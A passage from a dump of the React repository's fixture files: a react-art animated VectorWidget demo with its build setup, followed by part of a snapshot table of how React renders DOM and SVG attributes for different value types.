    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n'use strict';\n\nvar Circle = require('react-art/Circle');\nvar React = require('react');\nvar ReactART = require('react-art');\nvar Group = ReactART.Group;\nvar Shape = ReactART.Shape;\nvar Surface = ReactART.Surface;\nvar Transform = ReactART.Transform;\n\nvar MOUSE_UP_DRAG = 0.978;\nvar MOUSE_DOWN_DRAG = 0.9;\nvar MAX_VEL = 11;\nvar CLICK_ACCEL = 3;\nvar BASE_VEL = 0.15;\n\n/**\n * An animated SVG component.\n */\nclass VectorWidget extends React.Component {\n  /**\n   * Initialize state members.\n   */\n  state = {degrees: 0, velocity: 0, drag: MOUSE_UP_DRAG};\n\n  /**\n   * When the component is mounted into the document - this is similar to a\n   * constructor, but invoked when the instance is actually mounted into the\n   * document. Here, we'll just set up an animation loop that invokes our\n   * method. Binding of `this.onTick` is not needed because all React methods\n   * are automatically bound before being mounted.\n   */\n  componentDidMount() {\n    this._interval = window.setInterval(this.onTick, 20);\n  }\n\n  componentWillUnmount() {\n    window.clearInterval(this._interval);\n  }\n\n  onTick = () => {\n    var nextDegrees = this.state.degrees + BASE_VEL + this.state.velocity;\n    var nextVelocity = this.state.velocity * this.state.drag;\n    this.setState({degrees: nextDegrees, velocity: nextVelocity});\n  };\n\n  /**\n   * When mousing down, we increase the friction down the velocity.\n   */\n  handleMouseDown = () => {\n    this.setState({drag: MOUSE_DOWN_DRAG});\n  };\n\n  /**\n   * Cause the rotation to \"spring\".\n   */\n  handleMouseUp = () => {\n    var nextVelocity = Math.min(this.state.velocity + CLICK_ACCEL, MAX_VEL);\n    this.setState({velocity: nextVelocity, drag: MOUSE_UP_DRAG});\n  };\n\n  /**\n   * This is the \"main\" method for any component. The React API allows you to\n   * describe the structure of your UI component at *any* point in time.\n   */\n  render() {\n    return (\n      <Surface width={700} height={700} style={{cursor: 'pointer'}}>\n        {this.renderGraphic(this.state.degrees)}\n      </Surface>\n    );\n  }\n\n  /**\n   * Better SVG support for React coming soon.\n   */\n  renderGraphic = rotation => {\n    return (\n      <Group onMouseDown={this.handleMouseDown} onMouseUp={this.handleMouseUp}>\n        <Group x={210} y={135}>\n          <Shape fill=\"rgba(0,0,0,0.1)\" d={BORDER_PATH} />\n          <Shape fill=\"#7BC7BA\" d={BG_PATH} />\n          <Shape fill=\"#DCDCDC\" d={BAR_PATH} />\n          <Shape fill=\"#D97B76\" d={RED_DOT_PATH} />\n          <Shape fill=\"#DBBB79\" d={YELLOW_DOT_PATH} />\n          <Shape fill=\"#A6BD8A\" d={GREEN_DOT_PATH} />\n          <Group x={55} y={29}>\n            <Group rotation={rotation} originX={84} originY={89}>\n              <Group x={84} y={89}>\n                <Circle fill=\"#FFFFFF\" radius={16} />\n              </Group>\n              <Group>\n                <Shape d={RING_ONE_PATH} stroke=\"#FFFFFF\" strokeWidth={8} />\n                <Shape\n                  d={RING_TWO_PATH}\n                  transform={RING_TWO_ROTATE}\n                  stroke=\"#FFFFFF\"\n                  strokeWidth={8}\n                />\n                <Shape\n                  d={RING_THREE_PATH}\n                  transform={RING_THREE_ROTATE}\n                  stroke=\"#FFFFFF\"\n                  strokeWidth={8}\n                />\n              </Group>\n            </Group>\n          </Group>\n        </Group>\n      </Group>\n    );\n  };\n}\n\nvar BORDER_PATH =\n  'M3.00191459,4 C1.34400294,4 0,5.34785514 0,7.00550479 L0,220.994495 C0,222.65439 1.34239483,224 3.00191459,224 L276.998085,224 C278.655997,224 280,222.652145 280,220.994495 L280,7.00550479 C280,5.34561033 278.657605,4 276.998085,4 L3.00191459,4 Z M3.00191459,4';\nvar BG_PATH =\n  'M3.00191459,1 C1.34400294,1 0,2.34785514 0,4.00550479 L0,217.994495 C0,219.65439 1.34239483,221 3.00191459,221 L276.998085,221 C278.655997,221 280,219.652145 280,217.994495 L280,4.00550479 C280,2.34561033 278.657605,1 276.998085,1 L3.00191459,1 Z M3.00191459,1';\nvar BAR_PATH =\n  'M3.00191459,0 C1.34400294,0 0,1.34559019 0,3.00878799 L0,21 C0,21 0,21 0,21 L280,21 C280,21 280,21 280,21 L280,3.00878799 C280,1.34708027 278.657605,0 276.998085,0 L3.00191459,0 Z M3.00191459,0';\nvar RED_DOT_PATH =\n  'M12.5,17 C16.0898511,17 19,14.0898511 19,10.5 C19,6.91014895 16.0898511,4 12.5,4 C8.91014895,4 6,6.91014895 6,10.5 C6,14.0898511 8.91014895,17 12.5,17 Z M12.5,17';\nvar YELLOW_DOT_PATH =\n  'M31.5,17 C35.0898511,17 38,14.0898511 38,10.5 C38,6.91014895 35.0898511,4 31.5,4 C27.9101489,4 25,6.91014895 25,10.5 C25,14.0898511 27.9101489,17 31.5,17 Z M31.5,17';\nvar GREEN_DOT_PATH =\n  'M50.5,17 C54.0898511,17 57,14.0898511 57,10.5 C57,6.91014895 54.0898511,4 50.5,4 C46.9101489,4 44,6.91014895 44,10.5 C44,14.0898511 46.9101489,17 50.5,17 Z M50.5,17';\nvar RING_ONE_PATH =\n  'M84,121 C130.391921,121 168,106.673113 168,89 C168,71.3268871 130.391921,57 84,57 C37.6080787,57 0,71.3268871 0,89 C0,106.673113 37.6080787,121 84,121 Z M84,121';\nvar RING_TWO_PATH =\n  'M84,121 C130.391921,121 168,106.673113 168,89 C168,71.3268871 130.391921,57 84,57 C37.6080787,57 0,71.3268871 0,89 C0,106.673113 37.6080787,121 84,121 Z M84,121';\nvar RING_THREE_PATH =\n  'M84,121 C130.391921,121 168,106.673113 168,89 C168,71.3268871 130.391921,57 84,57 C37.6080787,57 0,71.3268871 0,89 C0,106.673113 37.6080787,121 84,121 Z M84,121';\nvar RING_TWO_ROTATE = new Transform()\n  .translate(84.0, 89.0)\n  .rotate(-240.0)\n  .translate(-84.0, -89.0);\nvar RING_THREE_ROTATE = new Transform()\n  .translate(84.0, 89.0)\n  .rotate(-300.0)\n  .translate(-84.0, -89.0);\n\nmodule.exports = VectorWidget;\n"
  },
  {
    "path": "fixtures/art/app.js",
    "content": "'use strict';\n\nvar React = require('react');\nvar ReactDOM = require('react-dom');\nvar VectorWidget = require('./VectorWidget');\n\nReactDOM.render(<VectorWidget />, document.getElementById('container'));\n"
  },
  {
    "path": "fixtures/art/index.html",
    "content": "<!DOCTYPE html>\n<html>\n<head>\n  <title>VectorWidget</title>\n</head>\n<body>\n\n  <div id=\"container\">\n    <p>If you're seeing this message, it means you haven't generated the bundle file for this example. Try running:</p>\n\n    <pre><code>\n    npm install\n    npm run build\n    </code></pre>\n\n    <p>then reload the page.</p>\n  </div>\n\n  <script src=\"bundle.js\"></script>\n\n</body>\n</html>\n"
  },
  {
    "path": "fixtures/art/package.json",
    "content": "{\n  \"devDependencies\": {\n    \"@babel/core\": \"^7.10.5\",\n    \"@babel/plugin-proposal-class-properties\": \"^7.10.4\",\n    \"@babel/preset-env\": \"^7.10.4\",\n    \"@babel/preset-react\": \"^7.10.4\",\n    \"babel-loader\": \"^8.1.0\",\n    \"react\": \"^19.0.0\",\n    \"react-art\": \"^19.0.0\",\n    \"react-dom\": \"^19.0.0\",\n    \"webpack\": \"^1.14.0\"\n  },\n  \"scripts\": {\n    \"prebuild\": \"cp -r ../../build/oss-experimental/* ./node_modules/\",\n    \"build\": \"webpack app.js bundle.js\"\n  }\n}\n"
  },
  {
    "path": "fixtures/art/webpack.config.js",
    "content": "var webpack = require('webpack');\n\nmodule.exports = {\n  context: __dirname,\n  entry: './app.js',\n  module: {\n    loaders: [\n      {\n        loader: require.resolve('babel-loader'),\n        test: /\\.js$/,\n        exclude: /node_modules/,\n        query: {\n          presets: [\n            require.resolve('@babel/preset-env'),\n            require.resolve('@babel/preset-react'),\n          ],\n          plugins: [require.resolve('@babel/plugin-proposal-class-properties')],\n        },\n      },\n    ],\n  },\n  plugins: [\n    new webpack.DefinePlugin({\n      'process.env': {\n        NODE_ENV: JSON.stringify('development'),\n      },\n    }),\n  ],\n  resolve: {\n    alias: {\n      react: require.resolve('react'),\n    },\n  },\n};\n"
  },
  {
    "path": "fixtures/attribute-behavior/.gitignore",
    "content": "# See https://help.github.com/ignore-files/ for more about ignoring files.\n\n# dependencies\n/node_modules\n\n# testing\n/coverage\n\n# production\n/build\n/public/react.development.js\n/public/react-dom.development.js\n/public/react-dom-server.browser.development.js\n\n# misc\n.DS_Store\n.env.local\n.env.development.local\n.env.test.local\n.env.production.local\n\nnpm-debug.log*\nyarn-debug.log*\nyarn-error.log*\n"
  },
  {
    "path": "fixtures/attribute-behavior/AttributeTableSnapshot.md",
    "content": "﻿## `about` (on `<div>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `about=(string)`| (changed)| `\"a string\"` |\n| `about=(empty string)`| (changed)| `<empty string>` |\n| `about=(array with string)`| (changed)| `\"string\"` |\n| `about=(empty array)`| (changed)| `<empty string>` |\n| `about=(object)`| (changed)| `\"result of toString()\"` |\n| `about=(numeric string)`| (changed)| `\"42\"` |\n| `about=(-1)`| (changed)| `\"-1\"` |\n| `about=(0)`| (changed)| `\"0\"` |\n| `about=(integer)`| (changed)| `\"1\"` |\n| `about=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `about=(float)`| (changed)| `\"99.99\"` |\n| `about=(true)`| (initial, warning)| `<null>` |\n| `about=(false)`| (initial, warning)| `<null>` |\n| `about=(string 'true')`| (changed)| `\"true\"` |\n| `about=(string 'false')`| (changed)| `\"false\"` |\n| `about=(string 'on')`| (changed)| `\"on\"` |\n| `about=(string 'off')`| (changed)| `\"off\"` |\n| `about=(symbol)`| (initial, warning)| `<null>` |\n| `about=(function)`| (initial, warning)| `<null>` |\n| `about=(null)`| (initial)| `<null>` |\n| `about=(undefined)`| (initial)| `<null>` |\n\n## `aBoUt` (on `<div>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `aBoUt=(string)`| (changed, warning)| `\"a string\"` |\n| `aBoUt=(empty string)`| (changed, warning)| `<empty string>` |\n| `aBoUt=(array with string)`| (changed, warning)| `\"string\"` |\n| `aBoUt=(empty array)`| (changed, warning)| `<empty string>` |\n| `aBoUt=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `aBoUt=(numeric string)`| (changed, warning)| `\"42\"` |\n| `aBoUt=(-1)`| (changed, warning)| `\"-1\"` |\n| `aBoUt=(0)`| (changed, warning)| `\"0\"` |\n| `aBoUt=(integer)`| (changed, warning)| `\"1\"` |\n| `aBoUt=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `aBoUt=(float)`| (changed, warning)| `\"99.99\"` |\n| `aBoUt=(true)`| (initial, warning)| `<null>` |\n| `aBoUt=(false)`| (initial, warning)| `<null>` |\n| `aBoUt=(string 'true')`| (changed, warning)| `\"true\"` |\n| `aBoUt=(string 'false')`| (changed, warning)| `\"false\"` |\n| `aBoUt=(string 'on')`| (changed, warning)| `\"on\"` |\n| `aBoUt=(string 'off')`| (changed, warning)| `\"off\"` |\n| `aBoUt=(symbol)`| (initial, warning)| `<null>` |\n| `aBoUt=(function)`| (initial, warning)| `<null>` |\n| `aBoUt=(null)`| (initial, warning)| `<null>` |\n| `aBoUt=(undefined)`| (initial, warning)| `<null>` |\n\n## `accent-Height` (on `<font-face>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `accent-Height=(string)`| (initial, warning, ssr mismatch)| `<null>` |\n| `accent-Height=(empty string)`| (initial, warning, ssr mismatch)| `<null>` |\n| `accent-Height=(array with string)`| (initial, warning, ssr mismatch)| `<null>` |\n| `accent-Height=(empty array)`| (initial, warning, ssr mismatch)| `<null>` |\n| `accent-Height=(object)`| (initial, warning, ssr mismatch)| `<null>` |\n| `accent-Height=(numeric string)`| (initial, warning, ssr mismatch)| `<null>` |\n| `accent-Height=(-1)`| (initial, warning, ssr mismatch)| `<null>` |\n| `accent-Height=(0)`| (initial, warning, ssr mismatch)| `<null>` |\n| `accent-Height=(integer)`| (initial, warning, ssr mismatch)| `<null>` |\n| `accent-Height=(NaN)`| (initial, warning, ssr mismatch)| `<null>` |\n| `accent-Height=(float)`| (initial, warning, ssr mismatch)| `<null>` |\n| `accent-Height=(true)`| (initial, warning)| `<null>` |\n| `accent-Height=(false)`| (initial, warning)| `<null>` |\n| `accent-Height=(string 'true')`| (initial, warning, ssr mismatch)| `<null>` |\n| `accent-Height=(string 'false')`| (initial, warning, ssr mismatch)| `<null>` |\n| `accent-Height=(string 'on')`| (initial, warning, ssr mismatch)| `<null>` |\n| `accent-Height=(string 'off')`| (initial, warning, ssr mismatch)| `<null>` |\n| `accent-Height=(symbol)`| (initial, warning)| `<null>` |\n| `accent-Height=(function)`| (initial, warning)| `<null>` |\n| `accent-Height=(null)`| (initial, warning)| `<null>` |\n| `accent-Height=(undefined)`| (initial, warning)| `<null>` |\n\n## `accent-height` (on `<font-face>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `accent-height=(string)`| (changed, warning)| `\"a string\"` |\n| `accent-height=(empty string)`| (changed, warning)| `<empty string>` |\n| `accent-height=(array with string)`| (changed, warning)| `\"string\"` |\n| `accent-height=(empty array)`| (changed, warning)| `<empty string>` |\n| `accent-height=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `accent-height=(numeric string)`| (changed, warning)| `\"42\"` |\n| `accent-height=(-1)`| (changed, warning)| `\"-1\"` |\n| `accent-height=(0)`| (changed, warning)| `\"0\"` |\n| `accent-height=(integer)`| (changed, warning)| `\"1\"` |\n| `accent-height=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `accent-height=(float)`| (changed, warning)| `\"99.99\"` |\n| `accent-height=(true)`| (initial, warning)| `<null>` |\n| `accent-height=(false)`| (initial, warning)| `<null>` |\n| `accent-height=(string 'true')`| (changed, warning)| `\"true\"` |\n| `accent-height=(string 'false')`| (changed, warning)| `\"false\"` |\n| `accent-height=(string 'on')`| (changed, warning)| `\"on\"` |\n| `accent-height=(string 'off')`| (changed, warning)| `\"off\"` |\n| `accent-height=(symbol)`| (initial, warning)| `<null>` |\n| `accent-height=(function)`| (initial, warning)| `<null>` |\n| `accent-height=(null)`| (initial, warning)| `<null>` |\n| `accent-height=(undefined)`| (initial, warning)| `<null>` |\n\n## `accentHeight` (on `<font-face>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `accentHeight=(string)`| (changed)| `\"a string\"` |\n| `accentHeight=(empty string)`| (changed)| `<empty string>` |\n| `accentHeight=(array with string)`| (changed)| `\"string\"` |\n| `accentHeight=(empty array)`| (changed)| `<empty string>` |\n| `accentHeight=(object)`| (changed)| `\"result of toString()\"` |\n| `accentHeight=(numeric string)`| (changed)| `\"42\"` |\n| `accentHeight=(-1)`| (changed)| `\"-1\"` |\n| `accentHeight=(0)`| (changed)| `\"0\"` |\n| `accentHeight=(integer)`| (changed)| `\"1\"` |\n| `accentHeight=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `accentHeight=(float)`| (changed)| `\"99.99\"` |\n| `accentHeight=(true)`| (initial, warning)| `<null>` |\n| `accentHeight=(false)`| (initial, warning)| `<null>` |\n| `accentHeight=(string 'true')`| (changed)| `\"true\"` |\n| `accentHeight=(string 'false')`| (changed)| `\"false\"` |\n| `accentHeight=(string 'on')`| (changed)| `\"on\"` |\n| `accentHeight=(string 'off')`| (changed)| `\"off\"` |\n| `accentHeight=(symbol)`| (initial, warning)| `<null>` |\n| `accentHeight=(function)`| (initial, warning)| `<null>` |\n| `accentHeight=(null)`| (initial)| `<null>` |\n| `accentHeight=(undefined)`| (initial)| `<null>` |\n\n## `accept` (on `<input>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `accept=(string)`| (changed)| `\"a string\"` |\n| `accept=(empty string)`| (initial)| `<empty string>` |\n| `accept=(array with string)`| (changed)| `\"string\"` |\n| `accept=(empty array)`| (initial)| `<empty string>` |\n| `accept=(object)`| (changed)| `\"result of toString()\"` |\n| `accept=(numeric string)`| (changed)| `\"42\"` |\n| `accept=(-1)`| (changed)| `\"-1\"` |\n| `accept=(0)`| (changed)| `\"0\"` |\n| `accept=(integer)`| (changed)| `\"1\"` |\n| `accept=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `accept=(float)`| (changed)| `\"99.99\"` |\n| `accept=(true)`| (initial, warning)| `<empty string>` |\n| `accept=(false)`| (initial, warning)| `<empty string>` |\n| `accept=(string 'true')`| (changed)| `\"true\"` |\n| `accept=(string 'false')`| (changed)| `\"false\"` |\n| `accept=(string 'on')`| (changed)| `\"on\"` |\n| `accept=(string 'off')`| (changed)| `\"off\"` |\n| `accept=(symbol)`| (initial, warning)| `<empty string>` |\n| `accept=(function)`| (initial, warning)| `<empty string>` |\n| `accept=(null)`| (initial)| `<empty string>` |\n| `accept=(undefined)`| (initial)| `<empty string>` |\n\n## `accept-charset` (on `<form>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `accept-charset=(string)`| (changed, warning)| `\"a string\"` |\n| `accept-charset=(empty string)`| (initial, warning)| `<empty string>` |\n| `accept-charset=(array with string)`| (changed, warning)| `\"string\"` |\n| `accept-charset=(empty array)`| (initial, warning)| `<empty string>` |\n| `accept-charset=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `accept-charset=(numeric string)`| (changed, warning)| `\"42\"` |\n| `accept-charset=(-1)`| (changed, warning)| `\"-1\"` |\n| `accept-charset=(0)`| (changed, warning)| `\"0\"` |\n| `accept-charset=(integer)`| (changed, warning)| `\"1\"` |\n| `accept-charset=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `accept-charset=(float)`| (changed, warning)| `\"99.99\"` |\n| `accept-charset=(true)`| (initial, warning)| `<empty string>` |\n| `accept-charset=(false)`| (initial, warning)| `<empty string>` |\n| `accept-charset=(string 'true')`| (changed, warning)| `\"true\"` |\n| `accept-charset=(string 'false')`| (changed, warning)| `\"false\"` |\n| `accept-charset=(string 'on')`| (changed, warning)| `\"on\"` |\n| `accept-charset=(string 'off')`| (changed, warning)| `\"off\"` |\n| `accept-charset=(symbol)`| (initial, warning)| `<empty string>` |\n| `accept-charset=(function)`| (initial, warning)| `<empty string>` |\n| `accept-charset=(null)`| (initial, warning)| `<empty string>` |\n| `accept-charset=(undefined)`| (initial, warning)| `<empty string>` |\n\n## `accept-Charset` (on `<form>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `accept-Charset=(string)`| (changed, warning)| `\"a string\"` |\n| `accept-Charset=(empty string)`| (initial, warning)| `<empty string>` |\n| `accept-Charset=(array with string)`| (changed, warning)| `\"string\"` |\n| `accept-Charset=(empty array)`| (initial, warning)| `<empty string>` |\n| `accept-Charset=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `accept-Charset=(numeric string)`| (changed, warning)| `\"42\"` |\n| `accept-Charset=(-1)`| (changed, warning)| `\"-1\"` |\n| `accept-Charset=(0)`| (changed, warning)| `\"0\"` |\n| `accept-Charset=(integer)`| (changed, warning)| `\"1\"` |\n| `accept-Charset=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `accept-Charset=(float)`| (changed, warning)| `\"99.99\"` |\n| `accept-Charset=(true)`| (initial, warning)| `<empty string>` |\n| `accept-Charset=(false)`| (initial, warning)| `<empty string>` |\n| `accept-Charset=(string 'true')`| (changed, warning)| `\"true\"` |\n| `accept-Charset=(string 'false')`| (changed, warning)| `\"false\"` |\n| `accept-Charset=(string 'on')`| (changed, warning)| `\"on\"` |\n| `accept-Charset=(string 'off')`| (changed, warning)| `\"off\"` |\n| `accept-Charset=(symbol)`| (initial, warning)| `<empty string>` |\n| `accept-Charset=(function)`| (initial, warning)| `<empty string>` |\n| `accept-Charset=(null)`| (initial, warning)| `<empty string>` |\n| `accept-Charset=(undefined)`| (initial, warning)| `<empty string>` |\n\n## `acceptCharset` (on `<form>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `acceptCharset=(string)`| (changed)| `\"a string\"` |\n| `acceptCharset=(empty string)`| (initial)| `<empty string>` |\n| `acceptCharset=(array with string)`| (changed)| `\"string\"` |\n| `acceptCharset=(empty array)`| (initial)| `<empty string>` |\n| `acceptCharset=(object)`| (changed)| `\"result of toString()\"` |\n| `acceptCharset=(numeric string)`| (changed)| `\"42\"` |\n| `acceptCharset=(-1)`| (changed)| `\"-1\"` |\n| `acceptCharset=(0)`| (changed)| `\"0\"` |\n| `acceptCharset=(integer)`| (changed)| `\"1\"` |\n| `acceptCharset=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `acceptCharset=(float)`| (changed)| `\"99.99\"` |\n| `acceptCharset=(true)`| (initial, warning)| `<empty string>` |\n| `acceptCharset=(false)`| (initial, warning)| `<empty string>` |\n| `acceptCharset=(string 'true')`| (changed)| `\"true\"` |\n| `acceptCharset=(string 'false')`| (changed)| `\"false\"` |\n| `acceptCharset=(string 'on')`| (changed)| `\"on\"` |\n| `acceptCharset=(string 'off')`| (changed)| `\"off\"` |\n| `acceptCharset=(symbol)`| (initial, warning)| `<empty string>` |\n| `acceptCharset=(function)`| (initial, warning)| `<empty string>` |\n| `acceptCharset=(null)`| (initial)| `<empty string>` |\n| `acceptCharset=(undefined)`| (initial)| `<empty string>` |\n\n## `accessKey` (on `<div>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `accessKey=(string)`| (changed)| `\"a string\"` |\n| `accessKey=(empty string)`| (initial)| `<empty string>` |\n| `accessKey=(array with string)`| (changed)| `\"string\"` |\n| `accessKey=(empty array)`| (initial)| `<empty string>` |\n| `accessKey=(object)`| (changed)| `\"result of toString()\"` |\n| `accessKey=(numeric string)`| (changed)| `\"42\"` |\n| `accessKey=(-1)`| (changed)| `\"-1\"` |\n| `accessKey=(0)`| (changed)| `\"0\"` |\n| `accessKey=(integer)`| (changed)| `\"1\"` |\n| `accessKey=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `accessKey=(float)`| (changed)| `\"99.99\"` |\n| `accessKey=(true)`| (initial, warning)| `<empty string>` |\n| `accessKey=(false)`| (initial, warning)| `<empty string>` |\n| `accessKey=(string 'true')`| (changed)| `\"true\"` |\n| `accessKey=(string 'false')`| (changed)| `\"false\"` |\n| `accessKey=(string 'on')`| (changed)| `\"on\"` |\n| `accessKey=(string 'off')`| (changed)| `\"off\"` |\n| `accessKey=(symbol)`| (initial, warning)| `<empty string>` |\n| `accessKey=(function)`| (initial, warning)| `<empty string>` |\n| `accessKey=(null)`| (initial)| `<empty string>` |\n| `accessKey=(undefined)`| (initial)| `<empty string>` |\n\n## `accumulate` (on `<animate>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `accumulate=(string)`| (changed)| `\"a string\"` |\n| `accumulate=(empty string)`| (changed)| `<empty string>` |\n| `accumulate=(array with string)`| (changed)| `\"string\"` |\n| `accumulate=(empty array)`| (changed)| `<empty string>` |\n| `accumulate=(object)`| (changed)| `\"result of toString()\"` |\n| `accumulate=(numeric string)`| (changed)| `\"42\"` |\n| `accumulate=(-1)`| (changed)| `\"-1\"` |\n| `accumulate=(0)`| (changed)| `\"0\"` |\n| `accumulate=(integer)`| (changed)| `\"1\"` |\n| `accumulate=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `accumulate=(float)`| (changed)| `\"99.99\"` |\n| `accumulate=(true)`| (initial, warning)| `<null>` |\n| `accumulate=(false)`| (initial, warning)| `<null>` |\n| `accumulate=(string 'true')`| (changed)| `\"true\"` |\n| `accumulate=(string 'false')`| (changed)| `\"false\"` |\n| `accumulate=(string 'on')`| (changed)| `\"on\"` |\n| `accumulate=(string 'off')`| (changed)| `\"off\"` |\n| `accumulate=(symbol)`| (initial, warning)| `<null>` |\n| `accumulate=(function)`| (initial, warning)| `<null>` |\n| `accumulate=(null)`| (initial)| `<null>` |\n| `accumulate=(undefined)`| (initial)| `<null>` |\n\n## `action` (on `<form>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `action=(string)`| (changed)| `\"https://reactjs.com/\"` |\n| `action=(empty string)`| (initial)| `\"http://localhost:3000/\"` |\n| `action=(array with string)`| (changed)| `\"https://reactjs.com/\"` |\n| `action=(empty array)`| (initial)| `\"http://localhost:3000/\"` |\n| `action=(object)`| (changed)| `\"http://localhost:3000/result%20of%20toString()\"` |\n| `action=(numeric string)`| (changed)| `\"http://localhost:3000/42\"` |\n| `action=(-1)`| (changed)| `\"http://localhost:3000/-1\"` |\n| `action=(0)`| (changed)| `\"http://localhost:3000/0\"` |\n| `action=(integer)`| (changed)| `\"http://localhost:3000/1\"` |\n| `action=(NaN)`| (changed, warning)| `\"http://localhost:3000/NaN\"` |\n| `action=(float)`| (changed)| `\"http://localhost:3000/99.99\"` |\n| `action=(true)`| (initial, warning)| `\"http://localhost:3000/\"` |\n| `action=(false)`| (initial, warning)| `\"http://localhost:3000/\"` |\n| `action=(string 'true')`| (changed)| `\"http://localhost:3000/true\"` |\n| `action=(string 'false')`| (changed)| `\"http://localhost:3000/false\"` |\n| `action=(string 'on')`| (changed)| `\"http://localhost:3000/on\"` |\n| `action=(string 'off')`| (changed)| `\"http://localhost:3000/off\"` |\n| `action=(symbol)`| (initial, warning)| `\"http://localhost:3000/\"` |\n| `action=(function)`| (changed, ssr error, ssr mismatch)| `\"javascript:throw new Error('A React form was unexpectedly submitted. If you called form.submit() manually, consider using form.requestSubmit() instead. If you\\'re trying to use event.stopPropagation() in a submit event handler, consider also calling event.preventDefault().')\"` |\n| `action=(null)`| (initial)| `\"http://localhost:3000/\"` |\n| `action=(undefined)`| (initial)| `\"http://localhost:3000/\"` |\n\n## `additive` (on `<animate>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `additive=(string)`| (changed)| `\"a string\"` |\n| `additive=(empty string)`| (changed)| `<empty string>` |\n| `additive=(array with string)`| (changed)| `\"string\"` |\n| `additive=(empty array)`| (changed)| `<empty string>` |\n| `additive=(object)`| (changed)| `\"result of toString()\"` |\n| `additive=(numeric string)`| (changed)| `\"42\"` |\n| `additive=(-1)`| (changed)| `\"-1\"` |\n| `additive=(0)`| (changed)| `\"0\"` |\n| `additive=(integer)`| (changed)| `\"1\"` |\n| `additive=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `additive=(float)`| (changed)| `\"99.99\"` |\n| `additive=(true)`| (initial, warning)| `<null>` |\n| `additive=(false)`| (initial, warning)| `<null>` |\n| `additive=(string 'true')`| (changed)| `\"true\"` |\n| `additive=(string 'false')`| (changed)| `\"false\"` |\n| `additive=(string 'on')`| (changed)| `\"on\"` |\n| `additive=(string 'off')`| (changed)| `\"off\"` |\n| `additive=(symbol)`| (initial, warning)| `<null>` |\n| `additive=(function)`| (initial, warning)| `<null>` |\n| `additive=(null)`| (initial)| `<null>` |\n| `additive=(undefined)`| (initial)| `<null>` |\n\n## `alignment-baseline` (on `<textPath>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `alignment-baseline=(string)`| (changed, warning)| `\"a string\"` |\n| `alignment-baseline=(empty string)`| (changed, warning)| `<empty string>` |\n| `alignment-baseline=(array with string)`| (changed, warning)| `\"string\"` |\n| `alignment-baseline=(empty array)`| (changed, warning)| `<empty string>` |\n| `alignment-baseline=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `alignment-baseline=(numeric string)`| (changed, warning)| `\"42\"` |\n| `alignment-baseline=(-1)`| (changed, warning)| `\"-1\"` |\n| `alignment-baseline=(0)`| (changed, warning)| `\"0\"` |\n| `alignment-baseline=(integer)`| (changed, warning)| `\"1\"` |\n| `alignment-baseline=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `alignment-baseline=(float)`| (changed, warning)| `\"99.99\"` |\n| `alignment-baseline=(true)`| (initial, warning)| `<null>` |\n| `alignment-baseline=(false)`| (initial, warning)| `<null>` |\n| `alignment-baseline=(string 'true')`| (changed, warning)| `\"true\"` |\n| `alignment-baseline=(string 'false')`| (changed, warning)| `\"false\"` |\n| `alignment-baseline=(string 'on')`| (changed, warning)| `\"on\"` |\n| `alignment-baseline=(string 'off')`| (changed, warning)| `\"off\"` |\n| `alignment-baseline=(symbol)`| (initial, warning)| `<null>` |\n| `alignment-baseline=(function)`| (initial, warning)| `<null>` |\n| `alignment-baseline=(null)`| (initial, warning)| `<null>` |\n| `alignment-baseline=(undefined)`| (initial, warning)| `<null>` |\n\n## `alignmentBaseline` (on `<textPath>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `alignmentBaseline=(string)`| (changed)| `\"a string\"` |\n| `alignmentBaseline=(empty string)`| (changed)| `<empty string>` |\n| `alignmentBaseline=(array with string)`| (changed)| `\"string\"` |\n| `alignmentBaseline=(empty array)`| (changed)| `<empty string>` |\n| `alignmentBaseline=(object)`| (changed)| `\"result of toString()\"` |\n| `alignmentBaseline=(numeric string)`| (changed)| `\"42\"` |\n| `alignmentBaseline=(-1)`| (changed)| `\"-1\"` |\n| `alignmentBaseline=(0)`| (changed)| `\"0\"` |\n| `alignmentBaseline=(integer)`| (changed)| `\"1\"` |\n| `alignmentBaseline=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `alignmentBaseline=(float)`| (changed)| `\"99.99\"` |\n| `alignmentBaseline=(true)`| (initial, warning)| `<null>` |\n| `alignmentBaseline=(false)`| (initial, warning)| `<null>` |\n| `alignmentBaseline=(string 'true')`| (changed)| `\"true\"` |\n| `alignmentBaseline=(string 'false')`| (changed)| `\"false\"` |\n| `alignmentBaseline=(string 'on')`| (changed)| `\"on\"` |\n| `alignmentBaseline=(string 'off')`| (changed)| `\"off\"` |\n| 